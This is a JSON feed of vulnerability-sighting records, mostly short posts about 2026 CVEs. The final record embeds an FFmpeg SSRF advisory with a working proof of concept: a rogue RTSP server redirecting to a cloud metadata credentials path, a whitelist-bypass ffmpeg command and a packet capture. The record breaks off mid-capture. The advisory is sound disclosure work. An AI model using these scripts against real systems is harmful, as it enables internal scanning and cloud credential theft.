"2026-05-21T17:00:04.000000Z"}, {"uuid": "1d75b167-be9b-4803-bb80-e8167a8dff68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3636", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmgy4upxoy2p", "content": "CVE-2026-3636 - Sanitize team member data returned by API\nCVE ID : CVE-2026-3636\n \n Published : May 22, 2026, 10:23 a.m. | 1\u00a0hour, 56\u00a0minutes ago\n \n Description : Mattermost versions 11.6.x <= 11.6.0, 11.5.x <= 11.5.3, 11.4.x <= 11.4.4, 10.11.x <= 10.11.14 fail to ...", "creation_timestamp": "2026-05-22T12:53:58.750133Z"}, {"uuid": "f2a6dbf5-0005-4469-b6da-16b97c559c22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36239", "type": "seen", "source": "https://t.me/GithubRedTeam/85759", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-36239\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a TazmiDev\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-25 01:28:33\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-36239: Authenticated RCE in PbootCMS v3.2.12 backend (sitecopyright)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-25T02:00:04.000000Z"}, {"uuid": "5cfd53bb-95ff-4d29-a1f5-323013577039", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36239", "type": "seen", "source": "Telegram/PWXxTbzLBS2I2NTEEZXYxWglH9J71PY-BvJO95sfjgRqY3E", "content": "", "creation_timestamp": "2026-05-25T03:00:10.000000Z"}, {"uuid": "3c0c8e7d-f020-4142-b871-047baa95d16e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36228", "type": "seen", "source": "Telegram/dTfSHcoUcJaeOuFARbGp4aQ01psDVJQvBc7YPH7AO1ZEIM0", "content": "", "creation_timestamp": "2026-05-22T15:00:15.000000Z"}, {"uuid": "be1fe0bc-dbf1-4a6f-99ec-376814a18017", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36227", "type": "seen", "source": "Telegram/dTfSHcoUcJaeOuFARbGp4aQ01psDVJQvBc7YPH7AO1ZEIM0", "content": "", "creation_timestamp": "2026-05-22T15:00:15.000000Z"}, {"uuid": "67bbbee8-97f2-4f47-a620-0aa9bfa96b63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36226", "type": "seen", "source": "Telegram/dTfSHcoUcJaeOuFARbGp4aQ01psDVJQvBc7YPH7AO1ZEIM0", "content": "", "creation_timestamp": "2026-05-22T15:00:15.000000Z"}, {"uuid": "4b540c7e-d92c-452b-811b-e551a1b192b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36239", "type": "seen", "source": "Telegram/hq1WnakkbxJpSdatpwq9NAKRiUtHFa8ysgfQqaCqIO8mwqo", "content": "", "creation_timestamp": "2026-05-25T09:00:04.000000Z"}, {"uuid": "54292394-29c8-4af3-9447-a134a58a59b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3660", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116642564816384756", "content": "There is a new vulnerability with elevated criticality in IBM Engineering Lifecycle Management (CVE-2026-3660) https://vuldb.com/vuln/365751", "creation_timestamp": "2026-05-26T19:38:12.785913Z"}, {"uuid": "a8b8bbf6-51d5-4f28-a428-adeeb48824bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3660", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mms2jqv7k72e", "content": "CVE-2026-3660 - IBM Engineering Lifecycle Management - Jazz Foundation is vulnerable to Authentication Bypass\nCVE ID : CVE-2026-3660\n \n Published : May 26, 2026, 7:16 p.m. | 1\u00a0hour, 15\u00a0minutes ago\n \n Description : IBM Engineering Lifecycle Management 7.0.3 ( through ) Interim ...", "creation_timestamp": "2026-05-26T22:36:15.423732Z"}, {"uuid": "8eaff360-d272-473d-8a43-120406c4f8b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36044", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmtttoank62o", "content": "CVE-2026-36044 - Apex OS Command Injection Vulnerability\nCVE ID : CVE-2026-36044\n \n Published : May 27, 2026, 2:16 p.m. | 52\u00a0minutes ago\n \n Description : @pensar/apex <= 0.0.58 is vulnerable to OS command injection via the smart_enumerate tool. The createSmartEnumerateTool(...", "creation_timestamp": "2026-05-27T15:41:51.795011Z"}, {"uuid": "78283e1f-d1b2-4b7d-99cd-11f092a0b391", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3611", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/96526", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Vulnerability Scanner\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a BAS-Guardian\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a spinfosecurity\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-04 02:59:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nFree BACnet/BMS vulnerability scanner for building automation systems. Detects CVE-2026-3611 (CVSS 10.0), CVE-2026-24060, and exposed HVAC/BAS controllers via PowerShell or Bash.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-05T00:00:55.521273Z"}, {"uuid": "e0757b8c-7cec-4977-85ea-f98cc6145107", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3627", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3muahwyfhil2j", "content": "CVE-2026-3627 - Critical SQLi in IBM Concert (1.0.0-2.3.1). Remote attackers can read, modify, or delete database contents. CVSS 9.1. Update now. #CVE #IBM #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-3627/", "creation_timestamp": "2026-08-29T18:09:56.015292Z"}, {"uuid": "c8195c71-d5f6-4a05-a18e-78e4887e0ee7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3627", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/117180137219395424", "content": "CVE-2026-3627 - Critical SQLi in IBM Concert (1.0.0-2.3.1). Remote attackers can read, modify, or delete database contents. CVSS 9.1. Update now. #CVE #IBM #infosec\nhttps://www.valtersit.com/cve/CVE-2026-3627/", "creation_timestamp": "2026-08-29T18:10:00.541713Z"}, {"uuid": "1acf02ef-e010-439a-baab-1a1f85a50a12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3655", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mmy6e4lrqw2y", "content": "CRITICAL: glboy OTP Login plugin (v1.8.50 \u2013 1.8.60) lets attackers bypass auth & hijack any account. Update beyond 1.8.60 or confirm patch is live! https://radar.offseq.com/threat/cve-2026-3655-cwe-287-improper-authentication-in-g-98c0dba0 #OffSeq #WordPress #Security", "creation_timestamp": "2026-05-29T09:00:41.627117Z"}, {"uuid": "0a14926c-e824-4c8e-bb50-538045daea68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3655", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116657044700520372", "content": "CVE-2026-3655 (CRITICAL, CVSS 9.8): glboy OTP Login plugin (v1.8.50 \u2013 1.8.60) suffers from improper authentication via Firebase OTP. Attackers can log in as any user/admin. Patch now! https://radar.offseq.com/threat/cve-2026-3655-cwe-287-improper-authentication-in-g-98c0dba0 #OffSeq #WordPress #Infosec #Vulnerability", "creation_timestamp": "2026-05-29T09:00:51.161833Z"}, {"uuid": "d92be6e0-bc6d-4ac7-9e7d-d267e0cd79e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3655", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmyb2pxqz32j", "content": "CVE-2026-3655 - OTP Login With Phone Number, OTP Verification\nCVE ID : CVE-2026-3655\n \n Published : May 29, 2026, 8:16 a.m. | 16\u00a0minutes ago\n \n Description : The OTP Login With Phone Number, OTP Verification plugin for WordPress is vulnerable to authentication bypass in versio...", "creation_timestamp": "2026-05-29T09:49:06.052335Z"}, {"uuid": "a1becb8c-66cc-43f2-b0c6-af09aa010339", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3660", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mmzqyz7vnv2g", "content": "\ud83d\udccc CVE-2026-3660 - IBM Engineering Lifecycle Management 7.0.3, 7.1.0, and 7.2.0 could allow an unauthenticated remote attacker to update server property files that would... https://www.cyberhub.blog/cves/CVE-2026-3660", "creation_timestamp": "2026-05-30T00:07:08.072115Z"}, {"uuid": "642a88fe-5f4d-4871-bb72-9cb9b569b466", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3655", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mn4hsoubhc2j", "content": "\ud83d\udd34 CVE-2026-3655 - Critical (9.8)\n\nThe OTP Login With Phone Number, OTP Verification plugin for WordPress is vulnerable to authentic...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-3655/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-31T02:00:32.236792Z"}, {"uuid": "f5bd1acb-5098-4df7-8b0f-67acd52820ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3627", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muakqpfwpq2j", "content": "CVE-2026-3627 - concert\nVersions 1.0.0 through 2.3.1 of IBM Concert can be tricked into running unwanted database commands from outside your network. An attacker could see, add, modify or delete the information\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#concert #ibm #CVE #infosec", "creation_timestamp": "2026-08-29T19:00:06.663809Z"}, {"uuid": "4f0c08a9-15eb-4c36-b40e-b949552fcf82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36574", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnfkdsqjqi2u", "content": "CVE-2026-36574 - Wassimulator CactusViewer DLL Hijacking Privilege Escalation\nCVE ID : CVE-2026-36574\n \n Published : June 3, 2026, 4:16 p.m. | 16\u00a0minutes ago\n \n Description : A DLL hijacking vulnerability in Wassimulator (GitHub) CactusViewer v2.3.0 allows attackers to escalat...", "creation_timestamp": "2026-06-03T16:39:51.143579Z"}, {"uuid": "480bc179-6711-4824-9128-38dc1e6e6616", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36607", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnfvlerwa42f", "content": "\ud83d\udfe0 CVE-2026-36607 - High (8.8)\n\nMercusys AC12G (EU) V1 router with firmware AC12G(EU)_V1_200909 allows unauthenticated brute-forc...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-36607/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-03T20:00:56.673712Z"}, {"uuid": "9d94ef08-2f4c-44ee-b87f-8c5e6f00a9ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36608", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnfvlliial2n", "content": "\ud83d\udfe0 CVE-2026-36608 - High (8.8)\n\nMercusys AC12G (EU) V1 router with firmware AC12G(EU)_V1_200909 allows UPnP AddPortMapping to for...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-36608/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-03T20:01:03.330942Z"}, {"uuid": "c4910df7-f948-47a8-9f64-c0b4c03afe54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36748", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnfvls3gfi2p", "content": "\ud83d\udd34 CVE-2026-36748 - Critical (9)\n\nRockRMS v16.13 and before v.17.7.0 is vulnerable to Cross Site Scripting (XSS) via Social Media l...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-36748/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-03T20:01:10.171248Z"}, {"uuid": "3124fa71-4abb-4a24-92d8-2aa9fb20d622", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36576", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnfyvv5bcj2l", "content": "\ud83d\udd34 CVE-2026-36576 - Critical (9.8)\n\nAn OS command injection vulnerability in the app.py component of openlabs docker-wkhtmltopdf-aas ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-36576/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-03T21:00:47.806671Z"}, {"uuid": "6428f950-ab38-4f5b-aad6-6a5dab29c5ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36608", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mngaynqv3q2c", "content": "CVE-2026-36608 - Mercusys UPnP Port Forwarding Vulnerability\nCVE ID : CVE-2026-36608\n \n Published : June 3, 2026, 6:16 p.m. | 4\u00a0hours, 57\u00a0minutes ago\n \n Description : Mercusys AC12G (EU) V1 router with firmware AC12G(EU)_V1_200909 allows UPnP AddPortMapping to forward external...", "creation_timestamp": "2026-06-03T23:25:12.647221Z"}, {"uuid": "583123b2-d748-46af-86c1-b43ee880220a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36607", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mngbbmmzyt2f", "content": "CVE-2026-36607 - Mercusys AC12G Brute-Force Vulnerability\nCVE ID : CVE-2026-36607\n \n Published : June 3, 2026, 6:16 p.m. | 4\u00a0hours, 57\u00a0minutes ago\n \n Description : Mercusys AC12G (EU) V1 router with firmware AC12G(EU)_V1_200909 allows unauthenticated brute-force attacks via th...", "creation_timestamp": "2026-06-03T23:30:13.665548Z"}, {"uuid": "a9be3046-fb67-451e-badc-c16755570fde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36499", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnipr2mk7m2o", "content": "CVE-2026-36499 - Open vSwitch DoS via Resource Exhaustion\nCVE ID : CVE-2026-36499\n \n Published : June 4, 2026, 7:16 p.m. | 3\u00a0hours, 14\u00a0minutes ago\n \n Description : A missing upper-bound check in the udpif_set_threads() function of Open vSwitch v3.6.90 allows an attacker with O...", "creation_timestamp": "2026-06-04T22:54:43.352955Z"}, {"uuid": "c94d67a9-b81e-48aa-979a-cae171dbdae8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3611", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mnl27kza5g2b", "content": "\ud83d\udccc CVE-2026-3611 - The Honeywell IQ4x building management controller, exposes its full web-based HMI without authentication in its factory-default configuration. With no... https://www.cyberhub.blog/cves/CVE-2026-3611", "creation_timestamp": "2026-06-05T21:07:07.343256Z"}, {"uuid": "ba7d3f3d-cd92-4a2b-8a3b-fa26fdfd922b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36785", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116701770935130535", "content": "A severe vulnerability was disclosed for Tenda FH451 (CVE-2026-36785) https://vuldb.com/vuln/368998", "creation_timestamp": "2026-06-06T06:35:21.440523Z"}, {"uuid": "88d6dd13-9070-4165-8439-204131420573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36229", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnnwl3rtpm2y", "content": "CVE-2026-36229 - VMware Aria Operations For Logs Directory Traversal\nCVE ID : CVE-2026-36229\n \n Published : June 6, 2026, 9:16 p.m. | 3\u00a0hours, 16\u00a0minutes ago\n \n Description : Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdr...", "creation_timestamp": "2026-06-07T00:39:58.202502Z"}, {"uuid": "afa9ddd5-58d1-46c4-9071-de8ec18373b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3639", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mt2unjs6sv2c", "content": "CVE-2026-3639 password-protect-page (CVSS Score 6.4) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-08-14T19:16:08.674337Z"}, {"uuid": "09bc7514-d8cd-404f-96db-706bb1aa05c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36934", "type": "seen", "source": "https://gist.github.com/OxBat/67c10534910e1409e04ae923c38fca2b", "content": "# FFmpeg SSRF & Protocol Smuggling via RTSP-to-HTTP Redirection (libavformat/rtsp.c)\n\n**CVE:** Pending  \n**Severity:** High  \n**CVSS 3.1:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N` \u2014 **7.2 High**  \n**Patch:** [FFmpeg PR #22292](https://code.ffmpeg.org/FFmpeg/FFmpeg/pulls/22292) \u2014 Commit `ea9e85e549`\n\n---\n\n## 1. Vulnerability Overview\n\n| Field | Value |\n|---|---|\n| **Product** | FFmpeg |\n| **Component** | `libavformat/rtsp.c` \u2014 `ff_rtsp_connect()` |\n| **Type** | Server-Side Request Forgery (SSRF) / Protocol Confusion |\n| **CWE** | CWE-918 (SSRF), CWE-436 (Interpretation Conflict) |\n| **Affected Versions** | All versions prior to commit `ea9e85e549` (incl. FFmpeg 7.1) |\n| **Fixed In** | FFmpeg master \u2014 milestone FFmpeg 8.1 |\n\nA logic flaw in `ff_rtsp_connect` (libavformat/rtsp.c) fails to validate the protocol scheme when following RTSP 3xx redirect responses. An attacker-controlled RTSP server can redirect FFmpeg to an arbitrary HTTP endpoint \u2014 including cloud metadata services (`169.254.169.254`) or internal APIs \u2014 while FFmpeg continues to send RTSP payloads to the target.\n\n**Critical distinction:** The attack succeeds even when `http` is explicitly removed from `-protocol_whitelist`, rendering FFmpeg's built-in security control ineffective. A user cannot mitigate this via configuration \u2014 it requires a code fix.\n\n> This is a **distinct vulnerability** from CVE-2026-36934 (HTTP\u2192RTSP in `libavformat/http.c`). Different component, different function, different exploit vector.\n\n---\n\n## 2. CVSS 3.1 Justification\n\n**Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N`  \n**Score:** 7.2 High\n\n| Metric | Value | Rationale |\n|---|---|---|\n| **AV** | N | Attack performed remotely via a malicious RTSP server |\n| **AC** | L | No race conditions or special setup required; a raw TCP socket responding with a 302 is sufficient |\n| **PR** | N | No authentication required on the victim FFmpeg instance |\n| **UI** | N | In common production deployments (SaaS video platforms, cloud NVR, automated transcoding pipelines), FFmpeg processes RTSP URLs without any human interaction |\n| **S** | C | FFmpeg's authorization boundary is fetching a media stream; by following the redirect it reaches internal services entirely outside that boundary |\n| **C** | L | This is a **Blind SSRF**: FFmpeg connects to internal targets and receives responses, but the attacker does not directly read those responses. Impact is internal port scanning via timing analysis. If the backend application reflects FFmpeg error logs or verbose output to the attacker, extraction of IAM credentials becomes possible (Reflected SSRF) |\n| **I** | L | RTSP verbs (`OPTIONS`, `DESCRIBE`) are injected into non-RTSP internal services. Text-based protocols (Redis, Memcached, unauthenticated REST APIs) may interpret these as commands, causing unintended state changes |\n| **A** | N | No denial of service demonstrated |\n\n---\n\n## 3. Root Cause Analysis\n\nThe vulnerability is located at the `redirect:` label within the `ff_rtsp_connect` function in `libavformat/rtsp.c`. \n\nWhen a 3xx redirect is received, FFmpeg updates the URL and jumps back to the `redirect:` label. The code extracts the new protocol scheme (`proto`) via `av_url_split()`. The subsequent `if/else if` chain handles `rtsps` and `satip` protocols, but **fails to handle unexpected schemes**. Any other scheme (such as `http`) silently falls through the condition without triggering an error, allowing FFmpeg to proceed and establish a TCP connection to the attacker-directed target.\n\n### Vulnerable Code (`libavformat/rtsp.c`)\n\n```c\nredirect:\n    memset(&reply1, 0, sizeof(reply1));\n    /* extract hostname and port */\n    av_url_split(proto, sizeof(proto), auth, sizeof(auth),\n                 host, sizeof(host), &port, path, sizeof(path), s->url);\n\n    if (!strcmp(proto, \"rtsps\")) {\n        lower_rtsp_proto         = \"tls\";\n        default_port             = RTSPS_DEFAULT_PORT;\n        rt->lower_transport_mask = 1 << RTSP_LOWER_TRANSPORT_TCP;\n    } else if (!strcmp(proto, \"satip\")) {\n        av_strlcpy(proto, \"rtsp\", sizeof(proto));\n        rt->server_type = RTSP_SERVER_SATIP;\n    }\n    // VULNERABILITY: If 'proto' is \"http\", it silently falls through.\n    // No validation blocks non-RTSP schemes here.\n\n    if (*auth) {\n        av_strlcpy(rt->auth, auth, sizeof(rt->auth));\n    }\n    \n    // ... Execution continues ...\n    // FFmpeg eventually opens a TCP connection to the redirect target.\n ```\n\n---\n\n## 4. Security Impact\n\n### Impact Summary\n\n| Scenario | Description | Severity |\n|---|---|---|\n| **Internal Port Scanning** | Map internal network services behind firewalls via timing analysis | High |\n| **Protocol Whitelist Bypass** | Attack succeeds with `-protocol_whitelist \"rtsp,rtp,udp,tcp\"` | High |\n| **Protocol Smuggling** | RTSP verbs injected into Redis, Memcached, REST APIs | Medium |\n| **Cloud Credential Theft** | Blind SSRF to `169.254.169.254`; credentials readable only if backend reflects FFmpeg logs | High (if Reflected) |\n\n### 1. Protocol Whitelist Bypass\n\nThis is the most critical aspect of this vulnerability. Running:\n\n```bash\n./ffmpeg -protocol_whitelist \"rtsp,rtp,udp,tcp\" -i rtsp://attacker/stream -f null -\n```\n\nStill connects to the HTTP target. Since RTSP relies on `tcp` for transport, removing `http` from the whitelist does not prevent the redirect from being followed. **The security control is entirely bypassed.**\n\n### 2. Blind SSRF & Internal Port Scanning\n\nFFmpeg establishes TCP connections to internal services unreachable from outside. While this is a Blind SSRF (the attacker does not directly read responses), internal port availability can be inferred via timing differences. In environments where FFmpeg error output is logged and exposed to the requester (common in SaaS video processing APIs), this escalates to a Reflected SSRF.\n\n### 3. Cloud Credential Theft (Reflected SSRF scenario)\n\nFFmpeg is redirected to `http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The AWS metadata service returns IAM credentials to the FFmpeg process. In the Blind SSRF case, these credentials remain in FFmpeg's memory and are discarded. However, if the backend application surfaces FFmpeg's verbose output or error messages to the attacker (e.g., via an API response or log stream), full credential extraction is possible, enabling cloud account compromise.\n\n### 4. Protocol Smuggling\n\nRTSP verbs (`OPTIONS`, `DESCRIBE`) are sent to non-RTSP services. Text-based protocols such as Redis or Memcached may interpret these as commands, causing log pollution or unintended data interactions.\n\n---\n\n## 5. Proof of Concept\n\n### Architecture\n\n```\n[Attacker RTSP Server :8554]\n        |\n        | RTSP/1.0 302 Redirect\n        | Location: http://127.0.0.1:8080/latest/meta-data/\n        v\n[FFmpeg Client]\n        |\n        | Connects via TCP to :8080\n        | Sends RTSP OPTIONS to HTTP target\n        v\n[Internal Target :8080]\n  (AWS Metadata / Redis / Internal API)\n```\n\n### Step 1 \u2014 Fake AWS Metadata Server (`fake_aws.py`)\n\n```python\nimport http.server, socketserver\n\nPORT = 8080\n\nclass AWSHandler(http.server.SimpleHTTPRequestHandler):\n    def do_OPTIONS(self):\n        print(f\"[!] RECEIVED RTSP OPTIONS REQUEST to {self.path}\")\n        self.send_response(400)\n        self.end_headers()\n\n    def do_GET(self):\n        if \"security-credentials\" in self.path:\n            self.send_response(200)\n            self.end_headers()\n            self.wfile.write(b'{\"AccessKeyId\":\"AKIAIOSFODNN7EXAMPLE\",\"SecretAccessKey\":\"REDACTED\"}')\n\nwith socketserver.TCPServer((\"\", PORT), AWSHandler) as httpd:\n    print(f\"[*] Fake AWS Metadata listening on :{PORT}\")\n    httpd.serve_forever()\n```\n\n### Step 2 \u2014 Rogue RTSP Server (`rogue_rtsp.py`)\n\n```python\nimport socket\n\nTARGET = \"http://127.0.0.1:8080/latest/meta-data/iam/security-credentials/role\"\n\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    s.bind(('0.0.0.0', 8554))\n    s.listen()\n    print(f\"[*] Rogue RTSP Server on :8554 \u2014 redirecting to {TARGET}\")\n    while True:\n        conn, addr = s.accept()\n        with conn:\n            conn.recv(1024)\n            conn.sendall((\n                \"RTSP/1.0 302 Moved Temporarily\\r\\n\"\n                \"CSeq: 1\\r\\n\"\n                f\"Location: {TARGET}\\r\\n\\r\\n\"\n            ).encode())\n```\n\n### Step 3 \u2014 Execute\n\n```bash\n# Scenario 1: Default usage\n./ffmpeg -i rtsp://127.0.0.1:8554/stream -f null -\n\n# Scenario 2: Hardened config \u2014 whitelist bypass\n./ffmpeg -protocol_whitelist \"rtsp,rtp,udp,tcp\" -i rtsp://127.0.0.1:8554/stream -f null -\n```\n\n### Step 4 \u2014 Network Capture (Smoking Gun)\n\n```bash\nsudo tcpdump -i lo -A port 8080\n```\n\n**Captured output \u2014 FFmpeg sending RTSP verbs to the HTTP target:**\n\n```\nOPTIONS http://127.0.0.1:8080/latest/meta-data/iam/security-credentials/role RTSP/1.0\nCSeq: 1\nUser-Agent: 